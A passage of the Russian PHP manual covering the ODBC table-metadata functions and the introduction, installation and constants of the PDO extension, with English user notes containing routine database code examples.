  • PSEUDO_COLUMN
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по SCOPE.

Смотрите также

  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

There are no user contributed notes for this page.


Получает статистику о таблице

  • « odbc_specialcolumns
  • odbc_tableprivileges »
  • PHP Manual
  • Функции ODBC
  • Получает статистику о таблице

odbc_statistics

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_statistics — Получает статистику о таблице

Описание

odbc_statistics(
resource $odbc,
?string $catalog,
string $schema,
string $table,
int $unique,
int $accuracy
): resource|false

Получает статистику о таблице и её индексах.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2).

table

Имя таблицы.

unique

Тип индекса. Одна из констант SQL_INDEX_UNIQUE или SQL_INDEX_ALL.

accuracy

Одна из констант SQL_ENSURE или SQL_QUICK. Последняя запрашивает у драйвера получение CARDINALITY и PAGES, только если они легко доступны с сервера.

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • NON_UNIQUE
  • INDEX_QUALIFIER
  • INDEX_NAME
  • TYPE
  • ORDINAL_POSITION
  • COLUMN_NAME
  • ASC_OR_DESC
  • CARDINALITY
  • PAGES
  • FILTER_CONDITION
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME и ORDINAL_POSITION.

Примеры

Пример #1 Вывод статистики о таблице

<?php
$conn = odbc_connect($dsn, $user, $pass);
$statistics = odbc_statistics($conn, 'TutorialDB', 'dbo', 'TEST', SQL_INDEX_UNIQUE, SQL_QUICK);
while (($row = odbc_fetch_array($statistics))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [NON_UNIQUE] =>
    [INDEX_QUALIFIER] =>
    [INDEX_NAME] =>
    [TYPE] => 0
    [ORDINAL_POSITION] =>
    [COLUMN_NAME] =>
    [ASC_OR_DESC] =>
    [CARDINALITY] => 15
    [PAGES] => 3
    [FILTER_CONDITION] =>
)

Смотрите также

  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

eion at bigfoot dot com 19-Apr-2011 03:36
A couple of the function parameters are undefined:

unique - determines whether you want to return just unique indexes or all indexes.  Use SQL_INDEX_UNIQUE or SQL_INDEX_ALL for this parameter

accuracy - whether you wan to return everything there is to know about the table or just what information is readily available.  Use SQL_ENSURE or SQL_QUICK for this parameter

For a bit more info about this function see the ODBC function SQLStatistics() at http://msdn.microsoft.com/en-us/library/ms711022(v=vs.85).aspx


Перечисляет таблицы и привилегии, связанные с каждой таблицей

  • « odbc_statistics
  • odbc_tables »
  • PHP Manual
  • Функции ODBC
  • Перечисляет таблицы и привилегии, связанные с каждой таблицей

odbc_tableprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tableprivileges — Перечисляет таблицы и привилегии, связанные с каждой таблицей

Описание

odbc_tableprivileges(
resource $odbc,
?string $catalog,
string $schema,
string $table
): resource|false

Перечисляет таблицы в запрошенном диапазоне и привилегии, связанные с каждой таблицей.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

table

Имя таблицы. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

Возвращаемые значения

Идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по TABLE_CAT, TABLE_SCHEM, TABLE_NAME, PRIVILEGE и GRANTEE.

Примеры

Пример #1 Перечисление привилегий таблицы

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_tableprivileges($conn, 'SalesOrders', 'dbo', 'Orders');
while (($row = odbc_fetch_array($privileges))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)

Смотрите также

  • odbc_tables() - Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

There are no user contributed notes for this page.


Получает список имён таблиц, хранящихся в определённом источнике данных

  • « odbc_tableprivileges
  • PDO »
  • PHP Manual
  • Функции ODBC
  • Получает список имён таблиц, хранящихся в определённом источнике данных

odbc_tables

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_tables — Получает список имён таблиц, хранящихся в определённом источнике данных

Описание

odbc_tables(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $table = null,
?string $types = null
): resource|false

Перечисляет все таблицы в запрошенном диапазоне.

Для поддержки перечисления квалификаторов, владельцев и типов таблиц доступна следующая специальная семантика для catalog, schema, table и table_type:

  • Если значение catalog равно символу процента (%), а schema и table являются пустыми строками, то результирующий набор будет содержать список допустимых квалификаторов для источника данных (все столбцы, кроме столбца TABLE_QUALIFIER, содержат NULL).
  • Если значение schema равно символу процента (%), а catalog и table являются пустыми строками, то результирующий набор будет содержать список допустимых владельцев для источника данных (все столбцы, кроме столбца TABLE_OWNER, содержат NULL).
  • Если значение table_type равно символу процента (%), а catalog, schema и table являются пустыми строками, то результирующий набор будет содержать список допустимых типов таблиц для источника данных. (все столбцы, кроме столбца TABLE_TYPE, содержат NULL).

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

table

Имя таблицы. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

types

Если параметр table_type не является пустой строкой, то он должен содержать список значений, разделённых запятыми, для интересующих типов; каждое значение может быть заключено в одинарные кавычки (') или не заключено в кавычки. Например, 'TABLE','VIEW' или TABLE, VIEW. Если источник данных не поддерживает указанный тип таблицы, odbc_tables() не вернёт никаких результатов для этого типа.

Возвращаемые значения

Возвращает идентификатор результата ODBC, содержащий информацию или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • TABLE_TYPE
  • REMARKS
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по TABLE_TYPE, TABLE_CAT, TABLE_SCHEM и TABLE_NAME.

Список изменений

Версия | Описание
8.0.0 | schema, table и types теперь могут принимать значение null.

Примеры

Пример #1 Перечисление таблиц в каталоге

<?php
$conn = odbc_connect($dsn, $user, $pass);
$tables = odbc_tables($conn, 'SalesOrders', 'dbo', '%', 'TABLE');
while (($row = odbc_fetch_array($tables))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => SalesOrders
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => Orders
    [TABLE_TYPE] => TABLE
    [REMARKS] =>
)

Смотрите также

  • odbc_tableprivileges() - Перечисляет таблицы и привилегии, связанные с каждой таблицей
  • odbc_columns() - Перечисляет имена столбцов в указанных таблицах
  • odbc_specialcolumns() - Извлекает особые столбцы
  • odbc_statistics() - Получает статистику о таблице
  • odbc_procedures() - Получает список процедур, хранящихся в определённом источнике данных

User Contributed Notes

narcomweb at wanadoo dot fr 05-Nov-2005 09:33
Here a Code for listing Table names
<?php
$dbh = odbc_connect($dsn, $user, $pwd);

   $result = odbc_tables($dbh);

   $tables = array();
   while (odbc_fetch_row($result)){
     if(odbc_result($result,"TABLE_TYPE")=="TABLE")
       echo"<br>".odbc_result($result,"TABLE_NAME");

   }
?>
You don't have views or System tables with.
Only simple tables in your database.
pmains at ux dot com 22-Jul-2005 07:39
This probably works for a variety of formats, but if you want a list of *just* the table names from an SQL dsn source (I'm using MSSQL), here's the code.

<?php

# ... assign $dsn, $uid, & $pwd ...

$dbh = odbc_connect($dsn, $uid, $pwd);

    $result = odbc_tables($dbh);

    $tables = array();
    while (odbc_fetch_row($result))
        array_push($tables, odbc_result($result, "TABLE_NAME") );

    foreach( $tables as $t ) {
        echo "$t\n";
    }

?>
iggvopvantoodlwin 01-Mar-2004 07:42
With regard to the note made on results not working.
Test the database with the easy:

odbc_result_all(odbc_tables($db));

$db is obviously a connected batadase. Then start to experiment:

if(!$odbcr=odbc_tables($db,"udb","", "%", "'TABLE'"))

"udb" is the DNS - aka 'name of my ODBC database in the Windows ODBC thingamy'. In result_all the full path was shown but I just used the name I assigned; either should work.

The second parameter "" is listed by result_all as "TABLE_SCHEM" and all items were "NULL", so I have put "".

The third parameter is "%". According to result_all this col is "TABLE_NAME", so I could have put the name of one of my tables, i.e. "Address".

In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
liquidicee at hotmail dot com 10-Mar-2001 08:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo odbc_result($tablelist, 3) ."<br>";
}
?>

to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>

hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice


Объекты данных PHP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Подключения и управление подключениями
  • Транзакции и автоматическая фиксация изменений
  • Подготовленные запросы и хранимые процедуры
  • Ошибки и их обработка
  • Большие объекты (LOB)
  • PDO — Класс PDO
    • PDO::beginTransaction — Инициализация транзакции
    • PDO::commit — Фиксирует транзакцию
    • PDO::__construct — Создаёт экземпляр PDO, предоставляющий соединение с базой данных
    • PDO::errorCode — Возвращает код SQLSTATE результата последней операции с базой данных
    • PDO::errorInfo — Получает расширенную информацию об ошибке, произошедшей в ходе последнего обращения к базе данных
    • PDO::exec — Выполняет SQL-запрос и возвращает количество затронутых строк
    • PDO::getAttribute — Получить атрибут соединения с базой данных
    • PDO::getAvailableDrivers — Возвращает массив доступных драйверов PDO
    • PDO::inTransaction — Проверяет, начата ли транзакция
    • PDO::lastInsertId — Возвращает ID последней вставленной строки или значение последовательности
    • PDO::prepare — Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
    • PDO::query — Подготавливает и выполняет выражение SQL без заполнителей
    • PDO::quote — Заключает строку в кавычки для использования в запросе
    • PDO::rollBack — Откат транзакции
    • PDO::setAttribute — Установка атрибута
  • PDOStatement — Класс PDOStatement
    • PDOStatement::bindColumn — Связывает столбец с переменной PHP
    • PDOStatement::bindParam — Привязывает параметр запроса к переменной
    • PDOStatement::bindValue — Связывает параметр с заданным значением
    • PDOStatement::closeCursor — Закрывает курсор, переводя запрос в состояние готовности к повторному запуску
    • PDOStatement::columnCount — Возвращает количество столбцов в результирующем наборе
    • PDOStatement::debugDumpParams — Вывод информации о подготовленной SQL-команде в целях отладки
    • PDOStatement::errorCode — Получает код SQLSTATE, связанный с последней операцией в объекте PDOStatement
    • PDOStatement::errorInfo — Получение расширенной информации об ошибке, произошедшей в результате работы объекта PDOStatement
    • PDOStatement::execute — Запускает подготовленный запрос на выполнение
    • PDOStatement::fetch — Извлечение следующей строки из результирующего набора
    • PDOStatement::fetchAll — Выбирает оставшиеся строки из набора результатов
    • PDOStatement::fetchColumn — Возвращает данные одного столбца следующей строки результирующего набора
    • PDOStatement::fetchObject — Извлекает следующую строку и возвращает её в виде объекта
    • PDOStatement::getAttribute — Получение значения атрибута запроса PDOStatement
    • PDOStatement::getColumnMeta — Возвращает метаданные столбца в результирующей таблице
    • PDOStatement::getIterator — Получает итератор набора результатов
    • PDOStatement::nextRowset — Переход к следующему набору строк в результате запроса
    • PDOStatement::rowCount — Возвращает количество строк, затронутых последним SQL-запросом
    • PDOStatement::setAttribute — Устанавливает атрибут объекту PDOStatement
    • PDOStatement::setFetchMode — Устанавливает режим выборки по умолчанию для объекта запроса
  • PDOException — Класс PDOException
  • Драйверы PDO
    • CUBRID (PDO) — Функции CUBRID (PDO_CUBRID)
    • MS SQL Server (PDO_DBLIB) — Функции Microsoft SQL Server и Sybase (PDO_DBLIB)
    • Firebird (PDO) — Функции Firebird (PDO_FIREBIRD)
    • IBM (PDO) — Функции IBM (PDO_IBM)
    • Informix (PDO) — Функции Informix (PDO_INFORMIX)
    • MySQL (PDO) — Функции MySQL (PDO_MYSQL)
    • MS SQL Server (PDO) — Функции модуля PDO_SQLSRV для Microsoft SQL Server
    • Oracle (PDO) — Функции Oracle (PDO_OCI)
    • ODBC и DB2 (PDO) — Функции ODBC и DB2 (PDO_ODBC)
    • PostgreSQL (PDO) — Функции PostgreSQL (PDO_PGSQL)
    • SQLite (PDO) — Функции SQLite (PDO_SQLITE)

User Contributed Notes

wiserufferto at gmail dot com 17-Feb-2021 02:12
This is a little late... but I'm old and slow.......
Regarding Extending PDOStatement and PDO I found that sending the PDOExtended class by reference helps:
    In the constructor after parent::__construct() :
$this->setAttribute(\PDO::ATTR_STATEMENT_CLASS,array('PDOStatementExtended', [&$this]));}

And in
class PDOStatementExtended extends \PDOStatement
{

  protected function __construct
  (
    \PDO &$PDO,
   )
matthew at button-mashers dot net 07-May-2014 11:31
When using prepared statements there is no official PDO feature to show you the final query string that is submitted to a database complete with the parameters you passed.

Use this simple function for debugging. The values you are passing may not be what you expect.

<?php
//Sample query string
$query = "UPDATE users SET name = :user_name WHERE id = :user_id";

//Sample parameters
$params = [':user_name' => 'foobear', ':user_id' => 1001];

function build_pdo_query($string, $array) {
    //Get the key lengths for each of the array elements.
    $keys = array_map('strlen', array_keys($array));

    //Sort the array by string length so the longest strings are replaced first.
    array_multisort($keys, SORT_DESC, $array);

    foreach($array as $k => $v) {
        //Quote non-numeric values.
        $replacement = is_numeric($v) ? $v : "'{$v}'";

        //Replace the needle.
        $string = str_replace($k, $replacement, $string);
    }

    return $string;
}

echo build_pdo_query($query, $params);    //UPDATE users SET name = 'foobear' WHERE id = 1001
?>
Sbastien Gourmand 08-Jul-2013 10:19
Merge the prepare() and execute() in one function like a sprintf().
And like sprintf, I choose to use unnamed args (?) ;)

you could still use old insecure query() ( not prepared ) with renamed function :)

<?php
class MyPDO extends PDO{

    const PARAM_host='localhost';
    const PARAM_port='3306';
    const PARAM_db_name='test';
    const PARAM_user='root';
    const PARAM_db_pass='';

    public function __construct($options=null){
        parent::__construct('mysql:host='.MyPDO::PARAM_host.';port='.MyPDO::PARAM_port.';dbname='.MyPDO::PARAM_db_name,
MyPDO::PARAM_user,
MyPDO::PARAM_db_pass,$options);
    }

    public function query($query){ //secured query with prepare and execute
        $args = func_get_args();
        array_shift($args); //first element is not an argument but the query itself, should removed

        $reponse = parent::prepare($query);
        $reponse->execute($args);
        return $reponse;

    }

    public function insecureQuery($query){ //you can use the old query at your risk ;) and should use secure quote() function with it
        return parent::query($query);
    }

}

$db = new MyPDO();
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);

$t1 = isset($_GET["t1"])?$_GET["t1"]:1; // need to be securised for injonction
$t2 = isset($_GET["t2"])?$_GET["t2"]:2; // need to be securised for injonction
$t3 = isset($_GET["t3"])?$_GET["t3"]:3; // need to be securised for injonction

$ret = $db->query("SELECT * FROM table_test WHERE t1=? AND t2=? AND t3=?",$t1,$t2,$t3);
//$ret = $db->insecureQuery("SELECT * FROM table_test WHERE t1=".$db->quote($t1));

while ($o = $ret->fetch())
{
    echo $o->nom.PHP_EOL;
}
?>
lkmorlan at uwaterloo dot ca 04-Jan-2011 07:25
You may also have to edit /etc/freetds.conf. Make sure the TDS version is recent, e.g., "tds version = 8.0".
lkmorlan at uwaterloo dot ca 29-Jun-2010 09:38
This works to get UTF8 data from MSSQL:

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;CHARSET=Windows-1251', $user, $pass);
?>
neonmandk at gmail dot com 10-Dec-2007 04:29
If you will make a OBJ row from PDO you can use this eg.

$resKampange = $dbc->prepare( "SELECT * FROM Table LIMIT 1" );
$resKampange->execute();
$rowKampange = $resKampange->fetch( PDO::FETCH_OB );

echo $rowKampange->felt1;

Good lock :0)
Konstantin at Tokar dot ru 16-Oct-2007 08:34
Example 5:
<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
.......
} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

We must change the last two lines to catch the error connecting to the database:

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
  $dbh->rollBack();
}
?>
anton dot clarke at sonikmedia dot com 02-Sep-2007 12:12
Not all PDO drivers return a LOB as a file stream; mysql 5 is one example. Therefore when streaming a mime typed object from the database you cannot use fpassthru.

The following is a modified example that works with a mysql database. (Tested FreeBSD v 6.2 with mysql 5.0.45 and php 5.2.3)

<?php
ob_start();
$db = new PDO('mysql:host=localhost;dbname=<SOMEDB>', '<USERNAME>', 'PASSWORD');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
ob_clean();
header("Content-Type: $type");
echo $lob; // fpassthru reports an error that $lob is not a stream so echo is used in place.
ob_end_flush();
?>

Please note the inclusion of buffer control. I only needed this when using 'include','include_once','require', or 'require_once' - my feeling is there is a subtle issue with those options as even an empty include file caused a buffer issue for me. === AND YES, I DID CHECK MY INCLUDE FILES DID NOT HAVE SPURIOUS WHITESPACE ETC OUTSIDE THE <?php ?> DELIMITERS! ===
bart at mediawave dot nl 23-May-2007 07:57
It seems MySQL doesn't support scrollable cursors. So unfortunately PDO::CURSOR_SCROLL wont work.
webform at aouie dot website 27-Sep-2006 11:38
If you use $dbh = new PDO('pgsql:host=localhost;dbname=test_basic01', $user, $pass); and you get the following error:
PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[08006] [7] could not connect to server: Connection refused\n\tIs the server running on host "localhost" and accepting\n\tTCP/IP connections on port 5432?'
then as pointed out under pg_connect at: http://www.php.net/manual/en/function.pg-connect.php#38291
******
you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
******
Sincerely,
Aouie
djlopez at gmx dot de 30-Aug-2006 02:56
Please note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM ?  WHERE calories < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

The parameter cannot be applied on table names!!
paulius_k at yahoo dot com 25-Jul-2006 08:42
If you need to get Output variable from MSSQL stored procedure, try this :

-- PROCEDURE
CREATE PROCEDURE spReturn_Int @err int OUTPUT
AS
SET @err = 11
GO

$sth = $dbh->prepare("EXECUTE spReturn_Int ?");
$sth->bindParam(1, $return_value, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$sth->execute();
print "procedure returned $return_value\n";
pokojny at radlight dot com 23-Apr-2006 08:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
    class PDOp {
        protected $PDO;
        public $numExecutes;
        public $numStatements;
        public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
            $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
            $this->numExecutes = 0;
            $this->numStatements = 0;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDO, $func), $args);
        }
        public function prepare() {
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function query() {
            $this->numExecutes++;
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function exec() {
            $this->numExecutes++;

            $args = func_get_args();
            return call_user_func_array(array(&$this->PDO, 'exec'), $args);
        }
    }
    class PDOpStatement implements IteratorAggregate {
        protected $PDOS;
        protected $PDOp;
        public function __construct($PDOp, $PDOS) {
            $this->PDOp = $PDOp;
            $this->PDOS = $PDOS;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDOS, $func), $args);
        }
        public function bindColumn($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindColumn($column, $param);
            else
                $this->PDOS->bindColumn($column, $param, $type);
        }
        public function bindParam($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindParam($column, $param);
            else
                $this->PDOS->bindParam($column, $param, $type);
        }
        public function execute() {
            $this->PDOp->numExecutes++;
            $args = func_get_args();
            return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
        }
        public function __get($property) {
            return $this->PDOS->$property;
        }
        public function getIterator() {
            return $this->PDOS;
        }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
www.navin.biz 19-Feb-2006 10:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
    function __construct()
    {
        parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}

class DBStatement extends PDOStatement
{
    public $dbh;

    protected function __construct($dbh)
    {
        $this->dbh = $dbh;
        $this->setFetchMode(PDO::FETCH_OBJ);
    }

    public function foundRows()
    {
        $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
        $rows->execute();
        $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
        $rows->closeCursor();
        return $rowsCount;
    }
}

?>
shaolin at adf dot nu 07-Feb-2006 06:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.


Введение

Модуль Объекты данных PHP (PDO) определяет простой и согласованный интерфейс для доступа к базам данных в PHP. Каждый драйвер базы данных, в котором реализован этот интерфейс, может представить специфичную для базы данных функциональность в виде стандартных функций модуля. Но надо заметить, что сам по себе модуль PDO не позволяет манипулировать доступом к базе данных. Чтобы воспользоваться возможностями PDO, необходимо использовать соответствующий конкретной базе данных PDO драйвер.

PDO обеспечивает абстракцию доступу к данным, это значит, что вне зависимости от того, какая конкретная база данных используется, вы можете пользоваться одними и теми же функциями для выполнения запросов и выборки данных. PDO не абстрагирует саму базу данных, этот модуль не переписывает SQL-запросы и не эмулирует отсутствующий в СУБД функционал. Если нужно именно это, необходимо воспользоваться полноценной абстракцией базы данных.

Модуль PDO внедрён в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Установка PDO на Unix-системах

  1. PDO и драйвер PDO_SQLITE включены по умолчанию в PHP. Чтобы включить PDO драйвер для произвольной базы данных, обратитесь к документации драйверы PDO баз данных.

    Замечание:

    Если PDO собирается, как подгружаемый модуль (не рекомендуется), то все PDO-драйверы должны быть загружены после загрузки самого PDO.

  2. При установке PDO в качестве подгружаемого модуля в файл php.ini необходимо внести изменения, чтобы модуль PDO загружался автоматически при запуске PHP. Также туда придётся включить загрузку некоторых драйверов баз данных; при этом убедитесь, что они перечислены после строки pdo.so, так как PDO должен загрузиться первым. Если вы устанавливаете PDO и драйверы баз данных как статичные модули, этот шаг можно пропустить.

    extension=pdo.so

Пользователи Windows

  1. Выберите DLL конкретных баз данных и либо загружать их во время выполнения функцией dl(), либо включить их в php.ini после php_pdo.dll. Например:

    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_informix.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    Эти DLL должны находиться в директории extension_dir.

Замечание:

Не забывайте, что после внесения изменений в php.ini необходим перезапуск PHP, чтобы новые опции конфигурации вступили в силу.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройки конфигурации PDO
Имя | По умолчанию | Место изменения | Список изменений
pdo.dsn.* |  | только php.ini |

Краткое разъяснение конфигурационных директив.

pdo.dsn.* string

Определяет псевдоним DSN. Дополнительно смотрите PDO::__construct().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

PDO::PARAM_BOOL (int)
Представляет логический тип данных.
PDO::PARAM_NULL (int)
Представляет тип данных SQL NULL.
PDO::PARAM_INT (int)
Представляет тип данных SQL INTEGER.
PDO::PARAM_STR (int)
Представляет типы данных SQL CHAR, VARCHAR и другие строковые типы.
PDO::PARAM_STR_NATL (int)
Флаг для обозначения, что строки используют национальный набор символов. Константа доступна с версии PHP 7.2.0
PDO::PARAM_STR_CHAR (int)
Флаг для обозначения, что строки используют обычный набор символов. Константа доступна с версии PHP 7.2.0
PDO::PARAM_LOB (int)
Представляет тип данных больших объектов SQL.
PDO::PARAM_STMT (int)
Представляет тип recordset. На данный момент не поддерживается драйверами.
PDO::PARAM_INPUT_OUTPUT (int)
Указывает, что параметр является параметром INOUT для хранимой процедуры. Для задания типа данных необходимо применить побитовое ИЛИ этой константы с константой типа PDO::PARAM_*.
PDO::FETCH_DEFAULT (int)
Указывает, что должен использоваться режим выборки по умолчанию. Доступно с PHP 8.0.7.
PDO::FETCH_LAZY (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку выборки в виде объекта, в котором имена переменных соответствуют именам столбцов результирующего набора. PDO::FETCH_LAZY создаёт объект с такими же именами переменных, с которыми осуществлялась выборка. Константа недействительна для функции PDOStatement::fetchAll().
PDO::FETCH_ASSOC (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку результирующего набора в виде ассоциативного массива, индексы которого соответствуют именам столбцов результата выборки. Если в результирующем наборе несколько столбцов с одинаковыми именами, PDO::FETCH_ASSOC будет возвращать по одному значению для каждого столбца. Значения дублирующихся столбцов будут утеряны.
PDO::FETCH_NAMED (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку результирующего набора в виде ассоциативного массива, индексы которого соответствуют именам столбцов результата выборки. Если в результирующем наборе несколько столбцов с одинаковыми именами, PDO::FETCH_NAMED возвращает массив значений для каждого имени столбца.
PDO::FETCH_NUM (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку результирующего набора в виде массива, индексы которого соответствуют порядковым номерам столбцов результата выборки. Нумерация начинается с 0.
PDO::FETCH_BOTH (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку результирующего набора в виде массива. Индексация массива производится и по именам столбцов и по их порядковым номерам в результирующей таблице. Нумерация начинается с 0.
PDO::FETCH_OBJ (int)
